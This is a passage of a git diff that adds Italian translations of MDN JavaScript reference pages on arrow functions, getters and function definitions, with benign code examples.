+var p = new Person();</pre>
+
+<h4 id="Relazione_con_strict_mode">Relazione con strict mode</h4>
+
+<p>Poiché  <code>this</code> è lessicale, le regole di <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> relative a <code>this</code> sono semplicemente ignorate.</p>
+
+<pre class="brush: js">var f = () =&gt; {'use strict'; return this};
+f() === window; // o l'oggetto globale</pre>
+
+<p>Il resto delle regole si applica normalmente.</p>
+
+<h4 id="Invocazione_attraverso_call_or_apply">Invocazione attraverso call or apply</h4>
+
+<p>Poiché <code>this</code><em> </em>non viene assegnato nelle funzioni a freccia, i metodi <code>call()</code><em> </em>o <code>apply()</code> possono passare solo come argomenti; <code>this</code> viene ignorato:</p>
+
+<pre class="brush: js">var adder = {
+  base : 1,
+
+  add : function(a) {
+    var f = v =&gt; v + this.base;
+    return f(a);
+  },
+
+  addThruCall: function(a) {
+    var f = v =&gt; v + this.base;
+    var b = {
+      base : 2
+    };
+
+    return f.call(b, a);
+  }
+};
+
+console.log(adder.add(1));         // This would log to 2
+console.log(adder.addThruCall(1)); // This would log to 2 still</pre>
+
+<h3 id="Mancato_binding_di_arguments">Mancato binding di <code>arguments</code></h3>
+
+<p>Le funzioni a freccia non definiscono il proprio  <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>. </code>Perciò, <code>arguments</code> è semplicemente una reference alla variabile nello scope genitore.</p>
+
+<pre class="brush: js">var arguments = 42;
+var arr = () =&gt; arguments;
+
+arr(); // 42
+
+function foo() {
+  var f = (i) =&gt; arguments[0]+i; // <em>foo</em>'s implicit arguments binding
+  return f(2);
+}
+
+foo(1); // 3</pre>
+
+<p>Le funzioni a freccia non hanno il proprio oggetto <code>arguments</code>, ma in molti casi  i parametri <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest</a> rappresentano una valida alternativa:</p>
+
+<pre class="brush: js">function foo() {
+  var f = (...args) =&gt; args[0];
+  return f(2);
+}
+
+foo(1); // 2</pre>
+
+<h3 id="Funzioni_a_freccia_come_metodi">Funzioni a freccia come metodi</h3>
+
+<p>Come già citato, le funzioni a freccia sono sconsigliate come metodi. Vediamo cosa succede quando proviamo a usarle: </p>
+
+<pre class="brush: js">'use strict';
+var obj = {
+  i: 10,
+  b: () =&gt; console.log(this.i, this),
+  c: function() {
+    console.log( this.i, this)
+  }
+}
+obj.b(); // prints undefined, Window
+obj.c(); // prints 10, Object {...}</pre>
+
+<p>Le funzioni a freccia non definiscono  ("bind") il proprio <code>this</code>. un altro esempio usando {{jsxref("Object.defineProperty()")}}:</p>
+
+<pre class="brush: js">'use strict';
+var obj = {
+  a: 10
+};
+
+Object.defineProperty(obj, "b", {
+  get: () =&gt; {
+    console.log(this.a, typeof this.a, this);
+    return this.a+10; // represents global object 'Window', therefore 'this.a' returns 'undefined'
+  }
+});
+</pre>
+
+<h3 id="Uso_dell'operatore_new">Uso dell'operatore <code>new</code> </h3>
+
+<p>Le funzioni a freccia non possono essere usate come costruttori, ed emetteranno un errore se usate con <code>new</code>.</p>
+
+<h3 id="Uso_di_yield">Uso di <code>yield</code> </h3>
+
+<p>La keyword <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> non deve essere usata nel body di una funzione a freccia (eccetto quando permesso in eventuali funzioni al loro interno). Conseguentemente, le funzioni a freccia non possono essere usate come generatori.</p>
+
+<h2 id="Body_della_funzione">Body della funzione</h2>
+
+<p>Le funzioni a freccia possono avere un "body conciso" o l'usuale "blocco body".</p>
+
+<p>Nel primo caso è necessaria solo un'espressione, e il return è implicito. Nel secondo caso, devi usare esplicitamente <code>return</code>.</p>
+
+<pre class="brush: js">var func = x =&gt; x * x;                  // concise syntax, implied "return"
+var func = (x, y) =&gt; { return x + y; }; // with block body, explicit "return" needed
+</pre>
+
+<h2 id="Restituire_object_literals">Restituire object literals</h2>
+
+<p>Tieni a mente che restituire oggetti letterali usando la sintassi concisa  <code>params =&gt; {object:literal}</code> non funzionerà:</p>
+
+<pre class="brush: js">var func = () =&gt; {  foo: 1  };               // Calling func() returns undefined!
+var func = () =&gt; {  foo: function() {}  };   // SyntaxError: function statement requires a name</pre>
+
+<p>Questo perché il codice all'interno delle parentesi graffe ({}) è processato come una sequenza di statement (i.e. <code>foo</code> è trattato come un label, non come una key di un oggetto).</p>
+
+<p>Tuttavia, è sufficente racchiudere l'oggetto tra parentesi tonde:</p>
+
+<pre class="brush: js">var func = () =&gt; ({ foo: 1 });</pre>
+
+<h2 id="Newline">Newline</h2>
+
+<p>Le funzioni a freccia non possono contenere un newline tra i parametri e la freccia.</p>
+
+<pre class="brush: js">var func = ()
+           =&gt; 1; // SyntaxError: expected expression, got '=&gt;'</pre>
+
+<h2 id="Ordine_di_parsing">Ordine di parsing</h2>
+
+<p>La freccia in una funziona a freccia non è un'operatore, ma le funzioni a freccia hanno delle regole di parsing specifiche che interagiscono differentemente con <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">la precedenza degli operatori</a>, rispetto alle funzioni normali.</p>
+
+<pre class="brush: js">let callback;
+
+callback = callback || function() {}; // ok
+callback = callback || () =&gt; {};      // SyntaxError: invalid arrow-function arguments
+callback = callback || (() =&gt; {});    // ok
+</pre>
+
+<h2 id="Altri_esempi">Altri esempi</h2>
+
+<pre class="brush: js">// Una funzione a freccie vuota restituisce undefined
+let empty = () =&gt; {};
+
+(() =&gt; "foobar")() // <a href="/en-US/docs/Glossary/IIFE">IIFE</a>, restituisce "foobar"
+
+var simple = a =&gt; a &gt; 15 ? 15 : a;
+simple(16); // 15
+simple(10); // 10
+
+let max = (a, b) =&gt; a &gt; b ? a : b;
+
+// Più semplice gestire filtering, mapping, ... di array
+
+var arr = [5, 6, 13, 0, 1, 18, 23];
+var sum = arr.reduce((a, b) =&gt; a + b);  // 66
+var even = arr.filter(v =&gt; v % 2 == 0); // [6, 0, 18]
+var double = arr.map(v =&gt; v * 2);       // [10, 12, 26, 0, 2, 36, 46]
+
+// Le catene di promise sono più concise
+promise.then(a =&gt; {
+  // ...
+}).then(b =&gt; {
+   // ...
+});
+
+// le funzioni a freccia senza parametri sono più semplici da visualizzare
+setTimeout( _ =&gt; {
+  console.log("I happen sooner");
+  setTimeout( _ =&gt; {
+    // deeper code
+    console.log("I happen later");
+  }, 1);
+}, 1);
+</pre>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_Browser">Compatibilità dei Browser </h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>IE</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>
+    <p>{{CompatNo}}</p>
+   </td>
+   <td>{{CompatOpera(32)}}</td>
+   <td>{{CompatSafari(10.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari(10.0)}}</td>
+   <td>{{CompatChrome(45.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Note_specifiche_per_Firefox">Note specifiche per Firefox</h2>
+
+<ul>
+ <li>L'implementazione iniziale delle funzioni a freccia in Firefox le rendeva automaticamente strict. Questo è cambiato da <a href="/en-US/docs/Mozilla/Firefox/Releases/24">Firefox 24</a>. L'uso di <code>"use strict";</code> è ora obbligatorio.</li>
+ <li>Le funzioni a freccia sono semanticamente differenti dalle  non-standard {{jsxref("Operators/Expression_Closures", "expression closures", "", 1)}} aggiunte in <a href="/en-US/Firefox/Releases/3">Firefox 3</a> (details: <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8">JavaScript 1.8</a>), perché {{jsxref("Operators/Expression_Closures", "expression closures", "", 1)}} non assegnano <code>this</code> in modo lessicale.</li>
+ <li>Fino a <a href="/en-US/Firefox/Releases/39">Firefox 39</a>, un newline (<code>\n</code>) era erroneamente accettato dopo i parametri della funzione. Questo è stato risolto in conformità alle specifiche ES6 e codice come <code>() \n =&gt; {}</code> emetterà un {{jsxref("SyntaxError")}} in questa versione e successive.</li>
+</ul>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/functions_and_function_scope/get/index.html b/files/it/web/javascript/reference/functions_and_function_scope/get/index.html
new file mode 100644
index 0000000000..0ed76cf469
--- /dev/null
+++ b/files/it/web/javascript/reference/functions_and_function_scope/get/index.html
@@ -0,0 +1,154 @@
+---
+title: getter
+slug: Web/JavaScript/Reference/Functions_and_function_scope/get
+translation_of: Web/JavaScript/Reference/Functions/get
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>La sintassi <strong><code>get</code></strong>  associa una proprietà dell'oggetto a una funzione che verrà chiamata quando la proprietà verrà richiesta.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-getter.html")}}</div>
+
+<p class="hidden">La fonte per questo esempio interattivo è memorizzata in un repository GitHub. Se desideri contribuire ai progetti interattivi di esempio, puoi clonare https://github.com/mdn/interactive-examples e inviarci una richiesta di pull.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">{get <em>prop</em>() { ... } }
+{get <em>[expression]</em>() { ... } }</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Il nome della proprietà da associare alla funzione specificata.</dd>
+ <dt>espressione</dt>
+ <dd>A partire da ECMAScript 2015, è anche possibile utilizzare espressioni per un nome di proprietà calcolato per associarsi alla funzione specificata.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>A volte è preferibile consentire l'accesso a una proprietà che restituisce un valore calcolato in modo dinamico, oppure è possibile che si desideri riflettere lo stato di una variabile interna senza richiedere l'uso di chiamate esplicite al metodo. In JavaScript, questo può essere realizzato con l'uso di un <em>getter</em>. Non è possibile avere simultaneamente un getter legato a una proprietà e avere quella proprietà contenuta in un valore, anche se è possibile usare un getter e un setter insieme per creare un tipo di pseudo-proprietà.</p>
+
+<p>Tieni presente quanto segue quando lavori con la sintassi <code>get</code>:</p>
+
+<div>
+<ul>
+ <li>Può avere un identificatore che è un numero o una stringa;</li>
+ <li>Deve avere esattamente zero parametri (vedi <a href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/">Modifica ES5 non compatibile: le funzioni getter e setter letterali devono ora avere esattamente zero o un argomento</a> per maggiori informazioni);</li>
+ <li>Non deve apparire in un oggetto letterale con un altro <code>get</code> o con un inserimento dati per la stessa proprietà (<code>{ get x() { }, get x() { } }</code> e <code>{ x: ..., get x() { } }</code> sono vietati).</li>
+</ul>
+</div>
+
+<p>Un getter può essere rimosso usando l'operatore  <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en/Core_JavaScript_1.5_Reference/Operators/Special_Operators/delete_Operator">delete</a></code></p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Definizione_di_un_getter_sui_nuovi_oggetti_negli_inizializzatori_di_oggetti">Definizione di un getter sui nuovi oggetti negli inizializzatori di oggetti</h3>
+
+<p>Questo creerà una pseudo-proprietà <code>latest</code> più recente per object <code>obj</code>, che restituirà l'ultimo elemento dell'array in <code>log</code>.</p>
+
+<pre class="brush: js">var obj = {
+  log: ['example','test'],
+  get latest() {
+    if (this.log.length == 0) return undefined;
+    return this.log[this.log.length - 1];
+  }
+}
+console.log(obj.latest); // "test".
+</pre>
+
+<p>Si noti che il tentativo di assegnare un valore a <code>latest</code> non lo cambierà.</p>
+
+<h3 id="Cancellare_un_getter_usando_l'operatore_delete">Cancellare un getter usando l'operatore <code>delete</code></h3>
+
+<p>Se vuoi rimuovere il getter, puoi semplicemente usare <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> :</p>
+
+<pre class="brush: js">delete obj.latest;
+</pre>
+
+<h3 id="Definire_un_getter_su_un_oggetto_esistente_usando_defineProperty">Definire un getter su un oggetto esistente usando <code>defineProperty</code></h3>
+
+<p>Per aggiungere un getter a un oggetto esistente in un secondo momento, usa {{jsxref("Object.defineProperty()")}}.</p>
+
+<pre class="brush: js">var o = {a: 0};
+
+Object.defineProperty(o, 'b', { get: function() { return this.a + 1; } });
+
+console.log(o.b) // Runs the getter, which yields a + 1 (which is 1)</pre>
+
+<h3 id="Utilizzando_un_nome_di_proprietà_calcolato">Utilizzando un nome di proprietà calcolato</h3>
+
+<pre class="brush: js">var expr = 'foo';
+
+var obj = {
+  get [expr]() { return 'bar'; }
+};
+
+console.log(obj.foo); // "bar"</pre>
+
+<h3 id="Smart_self-overwriting_lazy_getters">Smart / self-overwriting / lazy getters</h3>
+
+<p>I getter ti danno un modo per definire una proprietà di un oggetto, ma non calcolano il valore della proprietà finché non avviene l'accesso. Un getter rinvia il costo del calcolo del valore fino a quando il valore è necessario e, se non è mai necessario, non si paga mai il costo.</p>
+
+<p>Un'ulteriore tecnica di ottimizzazione per lazificare o ritardare il calcolo di un valore di una proprietà e memorizzarla nella cache per un accesso successivo sono <strong>smart o <a href="https://en.wikipedia.org/wiki/Memoization">memoized</a> getters</strong>. Il valore viene calcolato la prima volta che viene chiamato il getter e viene quindi memorizzato nella cache in modo che gli accessi successivi restituiscano il valore memorizzato nella cache senza ricalcolarlo. Questo è utile nelle seguenti situazioni:</p>
+
+<ul>
+ <li>Se il calcolo di un valore di una proprietà è costoso (richiede molta RAM o tempo di CPU, genera thread di lavoro, recupera file remoto, ecc.).</li>
+ <li>Se il valore non è necessario solo ora. Sarà usato più tardi, o in alcuni casi non è usato affatto.</li>
+ <li>Se viene utilizzato, sarà accessibile più volte e non è necessario ricalcolare il valore che non verrà mai modificato o non dovrebbe essere ricalcolato.</li>
+</ul>
+
+<p>Ciò significa che non si dovrebbe usare un getter pigro per una proprietà il cui valore si prevede possa cambiare, poiché il getter non ricalcola il valore.</p>
+
+<p>Nell'esempio seguente, l'oggetto ha un getter come proprietà propria. Quando si ottiene la proprietà, la proprietà viene rimossa dall'oggetto e riaggiunta, ma questa volta implicitamente come proprietà dei dati. Alla fine il valore viene restituito.</p>
+
+<pre class="brush: js">get notifier() {
+  delete this.notifier;
+  return this.notifier = document.getElementById('bookmarked-notification-anchor');
+},</pre>
+
+<p>Per il codice di Firefox, vedere anche il modulo del codice XPCOMUtils.jsm, che definisce la funzione <code><a href="/en-US/docs/Mozilla/JavaScript_code_modules/XPCOMUtils.jsm#defineLazyGetter()">defineLazyGetter()</a></code>.</p>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Aggiunti nomi di proprietà calcolate.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_il_browser">Compatibilità con il browser</h2>
+
+
+
+<p>{{Compat("javascript.functions.get")}}</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Defining Getters and Setters</a> in JavaScript Guide</li>
+</ul>
diff --git a/files/it/web/javascript/reference/functions_and_function_scope/index.html b/files/it/web/javascript/reference/functions_and_function_scope/index.html
new file mode 100644
index 0000000000..8a5255282c
--- /dev/null
+++ b/files/it/web/javascript/reference/functions_and_function_scope/index.html
@@ -0,0 +1,617 @@
+---
+title: Funzioni
+slug: Web/JavaScript/Reference/Functions_and_function_scope
+translation_of: Web/JavaScript/Reference/Functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>Parlando in termini generici, una funzione è un "sottopogramma" che può essere <em>chiamato </em>da un codice esterno (o interno nel caso di ricorsione) alla funzione stessa. Come il programma stesso, una funzione è composta da una sequenza di istruzioni chiamata <em>corpo della funzione</em>. Ad una funzione possono essere <em>passati</em> valori, e la funzione <em>restituisce</em> un valore.</p>
+
+<p>In JavaScript, le funzioni sono oggetti di prima classe, perchè sono dotate di proprietà e di metodi, proprio come qualsiasi altro oggetto. Ciò che le distingue dagli altri oggetti è la possibilità di essere chiamate ( invocate ). Le funzioni sono oggetti di tipo <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function">Function</a></code>.</p>
+
+<p>Per maggiori esempi e spiegazioni, vedere anche <a href="/en-US/docs/Web/JavaScript/Guide/Functions">JavaScript la guida sulle funzioni</a>.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Ogni funzione in JavaScript è un oggetto di tipo <code>Function</code>. Vedi la pagina <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" title="The Function constructor creates a new Function object. In JavaScript every function is actually a Function object."><code>Function</code></a> for informazioni su proprietà e metodi dell'oggetto <code>Function</code>.</p>
+
+<p>Le funzioni non sono come le procedure. Una funzione restituisce sempre un valore, mentre una procedura può anche non restituire alcun valore.</p>
+
+<p>Per restituire un valore specifico differente da quello di default, una fuzione deve avere un istruzione <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> che specifica il valore di ritorno. Una funzione senza un istruzione di ritorno restituirà il valore di  default. Nel caso di un <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">costruttore</a> invocato con la parola chiave <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code>, il valore di default è il valore del suo parametro <code>this</code>. Per tutte le altre funzioni, il valore di ritorno di default è <code>undefined</code>.</p>
+
+<p>I parametri di una chiamata di funzione sono gli <em>argomenti</em> della funzione. Gli argomenti sono passati alla funzione <em>per valore</em>. Se la funzione cambia il valore di un argomento, questo cambiamento non si riflette globalmente o nella funzione chiamante. Sebbene anche i riferimenti a oggetti siano valori, essi sono speciali: se una funzione cambia le proprietà di un oggetto a cui riferisce, quel cambiamento è visibile anche al di fuori della funzione, come dimostrato nel seguente esempio:</p>
+
+<pre class="brush: js">/* Dichiarazione della funzione 'myFunc' */
+function myFunc(theObject) {
+   theObject.brand = "Toyota";
+ }
+
+ /*
+  * Dichiarazione della variabile 'mycar';
+  * creazione e inizializzazione di un nuovo Object;
+  * associazione alla riferimento 'mycar'
+  */
+ var mycar = {
+   brand: "Honda",
+   model: "Accord",
+   year: 1998
+ };
+
+ /* Logs 'Honda' */
+ console.log(mycar.brand);
+
+ /* Passaggio del riferimento dell'oggetto alla funzione */
+ myFunc(mycar);
+
+ /*
+  * Logs 'Toyota' come il valore della proprietà 'brand'
+  * dell'oggetto, come è stato cambiato dalla funzione.
+  */
+ console.log(mycar.brand);
+</pre>
+
+<p>NB: l'oggetto <em>console</em> non è un oggetto standard. Non usatelo in un sito web, poichè potrebbe non funzionare correttamente. Per verificare il funzionamento dell'esempio precedente, usate, piuttosto:</p>
+
+<p>           window.alert(mycar.brand);</p>
+
+<p>La <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">parola chiave <code>this</code></a> non fa riferimento alla funzione attualmente in esecuzione, per questo motivo si deve far riferimento ad oggetti <code>Function</code>  per nome, anche quando all'interno del corpo della funzione stessa.</p>
+
+<h2 id="Definizione_di_funzioni">Definizione di funzioni</h2>
+
+<p>Ci sono diversi modi per definire le funzioni:</p>
+
+<h3 id="La_dichiarazione_di_funzione_(istruzione_function)">La dichiarazione di funzione (istruzione <code>function</code>)</h3>
+
+<p>C'è una speciale sintassi per la dichiarazione di funzioni (per dettagli guarda <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a>):</p>
+
+<pre class="syntaxbox">function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Il nome della funzione</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Il nome di un argomento da passare alla funzione. Una funzione può avere fino a 255 argomenti.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>Le istruzioni comprese nel corpo della funzione.</dd>
+</dl>
+
+<h3 id="L'espressione_di_funzione_(espressione_function)">L'espressione di funzione (espressione <code>function</code>)</h3>
+
+<p>Una espressione di funzione è simile ed ha la stessa sintassi della dichiarazione di funzione (per dettagli guarda <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a>):</p>
+
+<pre class="syntaxbox">function [<em>name</em>]([<em>param</em>] [, <em>param</em>] [..., <em>param</em>]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Il nome della funzione. Può essere omesso, in qual caso la funzione è nota come funzione anonima.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Il nome di un argomento da passare alla funzione. Una funzione può avere fino a 255 argomenti.</dd>
+ <dt><code>statements</code></dt>
+ <dd>Le istruzioni comprese nel corpo della funzione.</dd>
+</dl>
+
+<h3 id="La_dichiarazione_di_funzione_generatrice_(espressione_function*)">La dichiarazione di funzione generatrice (espressione <code>function*</code>)</h3>
+
+<div class="note">
+<p><strong>Note:</strong> Le funzioni generatrici sono un tecnologia sperimentale, parte della proposta di specifica ECMAScript 6, e non sono ancora ampiamente supportate dai browsers.</p>
+</div>
+
+<p>C'è una sintassi speciale per le funzioni generatrici (per dettagli vedi <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*" title="The function* declaration (function keyword followed by an asterisk) defines a generator function, which returns a Generator object."><code>function* statement</code></a> ):</p>
+
+<pre class="syntaxbox">function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Nome della funzione.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Nome dell'argomento da passare alla funzione. Una funzione può avere fino a 255 agromenti.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>Le istruzioni comprese nel corpo della funzione.</dd>
+</dl>
+
+<h3 id="L'espressione_di_funzione_generatrice_(espressione_function*)">L'espressione di funzione generatrice (espressione <code>function*</code>)</h3>
+
+<div class="note">
+<p><strong>Note:</strong> Le funzioni generatrici sono una tecnologia sperimentale<em>,</em> parte della proposta di specifica ECMAScript 6, e non sono ancora ampiamente supportamente dai browsers.</p>
+</div>
+
+<p>Una espressione di funzione generatrice è similare ed ha la stessa sintassi di una dichiarazione di funzione generatrice (per dettagli vedi <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function*" title="The function* keyword can be used to define a generator function inside an expression."><code>function* expression</code></a> ):</p>
+
+<pre class="syntaxbox">function* [<em>name</em>]([<em>param</em>] [, <em>param</em>] [..., <em>param</em>]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Nome della funzione. Può essere omesso, nel qual caso la funzione è nota come funzione anonima.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>
+ <div>Nome dell'argomento da passare alla funzione. Una funzione può avere fino a 255 agromenti.</div>
+ </dd>
+ <dt><code>statements</code></dt>
+ <dd>Le istruzioni comprese nel corpo della funzione.</dd>
+</dl>
+
+<h3 id="L'espressione_di_funzione_a_freccia_(>)">L'espressione di funzione a freccia (=&gt;)</h3>
+
+<div class="note">
+<p><strong>Note:</strong> L'espressione di funzione a freccia sono una tecnologia sperimentare<em>, </em>parte della proposta di specifica ECMAScript 6, e non sono ancora ampiamente supportate dai browsers.</p>
+</div>
+
+<p>Un' espressione di funzione a freccia ha una sintassi ridotta e lessicalmnete associa il proprio valore this (per dettagli vedere <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a> ):</p>
+
+<pre class="syntaxbox">([param] [, param]) =&gt; {
+   statements
+}
+
+param =&gt; expression
+</pre>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>Il nome di un parametro. È necessario indicare l'assenza di parametri con <code>()</code>. Le parentesi non sono richieste nel caso in cui ci sia solo un parametro (come <code>foo =&gt; 1</code>).</dd>
+ <dt><code>statements or expression</code></dt>
+ <dd>Molteplici istruzioni devono essere racchiuse tra parentesi. Una singola espressione non necessita di parantesi. <em>expression</em> è anche l'implicito valore restituito dalla funzione.</dd>
+</dl>
+
+<h3 id="Il_costruttore_Function">Il costruttore <code>Function</code></h3>
+
+<div class="note">
+<p><strong>Nota:</strong> l'utilizzo del costruttore <code>Function</code> per creare funzioni non è raccomandato, poichè richiede che il corpo della funzione sia scritto come stringa, fatto che può comportare una mancata ottimizzazione da parte di alcuni motori javascript e causare altri problemi.</p>
+</div>
+
+<p>Come tutti gli altri oggetti, un oggetto <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" title="The Function constructor creates a new Function object. In JavaScript every function is actually a Function object."><code>Function</code></a> può essere creato utilizzando l'operatore <code>new</code>:</p>
+
+<pre class="syntaxbox">new Function (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>)
+</pre>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Zero o più nomi da usare come nomi formali di argomenti. Ciascun nome deve essere rappresentato da una stringa testuale che sia conforme alle norme che regolano la definizione di identificatori JavaScript validi, oppure da una lista di stringhe testuali, separate da una virgola; per esempio: "<code>x</code>", "<code>theValue</code>", oppure "<code>a,b</code>".</dd>
+</dl>
+
+<dl>
+ <dt><code>functionBody</code></dt>
+ <dd>Una stringa testuale che contenga le istruzioni Javascript comprese nella definizione della funzione.</dd>
+</dl>
+
+<p>Invocare il costruttore <code>Function</code> come funzione ( senza utilizzare l'operatore <code>new</code> ) ha lo stesso effetto di quando lo si invoca come costruttore.</p>
+
+<h3 id="Il_costruttore_GeneratorFunction">Il costruttore <code>GeneratorFunction</code></h3>
+
+<div class="note">
+<p><strong>Nota:</strong> le espressioni di funzione a freccia ( arrow function expression ) sono una <em>tecnologia sperimentale,</em> parte della proposta ECMAScript 6, e non sono ancora completamente supportate dai browser.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota:</strong> il costruttore <code>GeneratorFunction</code> non è un oggetto globale, ma può essere ottenuto dall'istanza della funzione generatrice ( vedi <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/GeneratorFunction" title="The GeneratorFunction constructor creates a new generator function object. In JavaScript every generator function is actually a GeneratorFunction object."><code>GeneratorFunction</code></a> per maggiori dettagli ).</p>
+</div>
+
+<div class="note">
+<p><strong>Nota:</strong> l'utilizzo del costruttore <code>GeneratorFunction</code> per creare funzioni non è raccomandato, poichè richiede che il corpo della funzione sia scritto come stringa, fatto che può comportare una mancata ottimizzazione da parte di alcuni motori javascript e causare altri problemi.</p>
+</div>
+
